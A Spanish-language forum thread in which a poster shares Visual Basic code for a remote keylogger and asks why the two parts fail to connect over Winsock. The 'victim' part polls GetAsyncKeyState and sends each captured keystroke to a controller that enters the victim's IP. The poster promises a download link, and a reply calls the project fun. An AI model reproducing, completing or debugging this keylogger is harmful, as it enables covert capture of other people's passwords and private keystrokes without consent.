Visual Basic - Winsock

Hola llevo haciendo un progreama desde hace un tiempo voy en la verison 2 ya.Es un keylogger y lo que hace es captar teclas, en un principio solo captaba las de tu ordenador, pero ahora estoy intentando hacer que capte las del otro ordenador.En el formulario de la persona que va a utilizar ese progrema e puesto=
Aparte de otras cosas
Un winsock
Un texto para que introduccan la ip
Un boton de conectar y otro de desconectar
Bueno el problema es que no me conezta
Codigo

Private Sub WS_DataArrival(ByVal BytesTotal As Long)
Dim strData As String

WS.GetData strData

TEXTteclascaptadas.Text = TEXTteclascaptadas.Text & strData
End Sub

Private Sub Command2_Click()
If Text1.Text = "" Then
MsgBox "pon ip"
Else
WS.RemoteHost = Text1.Text
WS.Connect
End If
End Sub

Private Sub WS_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
MsgBox "Imposible conectar"
End Sub

bueno yt luego en el de la victima tiene un winsock y el codigo es:

Private Sub Form_Load()
WS.Listen
End Sub

Private Sub WA_connectionrequest(ByVal RequestID As Long)
WS.Close
WS.Accept RequestID
End Sub

Private Sub Timer2_Timer() 'probar con distintos intervalos de timer
Dim Tecla As String
For X% = 0 To 255 'para los 255 códigos ascii
If GetAsyncKeyState(X%) Then 'si se ha pulsado una tecla
Tecla = ObtenerTecla(X%) 'obtener tecla pulsada
WS.SendData (Tecla) 'enviar informacion
End If
Next
End Sub

Gracias por adelantado ya os dire el enlace de descarga

Hola, que divertido. lo del keylogger. Yo he hecho varios programas que trabajan en red y a veces no se conecta. No se si es por usar el Winsock. Veo que lo usaras. Y... avisame si lograstes la conexion en otra maquina que no sea de la red local, sino de Internet.

Chao.;)